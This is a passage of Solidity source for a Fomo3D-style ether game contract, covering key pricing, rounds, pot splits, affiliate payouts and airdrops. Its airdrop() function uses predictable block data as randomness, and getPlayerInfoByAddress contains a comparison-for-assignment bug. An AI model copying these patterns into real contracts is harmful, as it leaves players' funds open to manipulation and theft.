be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (!closed_ && _now > (round_[_rID].strt + rndGap_) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if ( (closed_ || _now > round_[_rID].end ) && round_[_rID].ended == false ) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); if( !closed_ ){ nextRound(); } // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit PCKevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, PCKdatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (!closed_ && _now > ( round_[_rID].strt + rndGap_ ) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if ( ( closed_ || _now > round_[_rID].end ) && round_[_rID].ended == false ) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); if( !closed_ ) { nextRound(); } // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit PCKevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID, _eth); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function nextRound() private { rID_++; round_[rID_].strt = now; round_[rID_].end = now.add(rndInit_).add(rndGap_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards if (!address(Pro_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _p3d.add(_com); _com = 0; } // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // send share for p3d to PCGod if (_p3d > 0) PCGod.deposit.value(_p3d)(); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.PCPAmount = _p3d; _eventData_.newPot = _res; // start next round //rID_++; _rID++; round_[_rID].ended = false; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID, uint256 _eth) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time uint256 _newEndTime; if (_newTime < (rndMax_).add(_now)) _newEndTime = _newTime; else _newEndTime = rndMax_.add(_now); // biger to threshold, reduce if ( _eth >= rndReduceThreshold_ ) { _newEndTime = (_newEndTime).sub( (((_keys) / (1000000000000000000))).mul(rndInc_).add( (((_keys) / (2000000000000000000) ).mul(rndInc_)) ) ); // last add 10 minutes if( _newEndTime < _now + rndMin_ ) _newEndTime = _now + rndMin_ ; } round_[_rID].end = _newEndTime; } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private returns(PCKdatasets.EventReturns) { // pay 2% out to community rewards uint256 _com = _eth / 50; uint256 _p3d; if (!address(Pro_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _com; _com = 0; } // pay 1% out to FoMo3D short uint256 _long = _eth / 100; otherPCK_.potSwap.value(_long)(); // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit PCKevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to PCGod contract PCGod.deposit.value(_p3d)(); // set up event data _eventData_.PCPAmount = _p3d.add(_eventData_.PCPAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit PCKevents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) private returns(PCKdatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit PCKevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require( msg.sender == admin, "only team just can activate" ); // make sure that its been linked. require(address(otherPCK_) != address(0), "must link to other PCK first"); // can only be ran once require(activated_ == false, "PCK already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherPCK(address _otherPCK) public { // only team just can activate require( msg.sender == admin, "only team just can activate" ); // make sure that it HASNT yet been linked. require(address(otherPCK_) == address(0), "silly dev, you already did that"); // set up other fomo3d (fast or long) for pot swap otherPCK_ = otherPCK(_otherPCK); } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library PCKdatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 PCPAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library PCKKeysCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface otherPCK { function potSwap() external payable; } interface PCKExtSettingInterface { function getFastGap() external view returns(uint256); function getLongGap() external view returns(uint256); function getFastExtra() external view returns(uint256); function getLongExtra() external view returns(uint256); } interface PlayCoinGodInterface { function deposit() external payable; } interface ProForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && 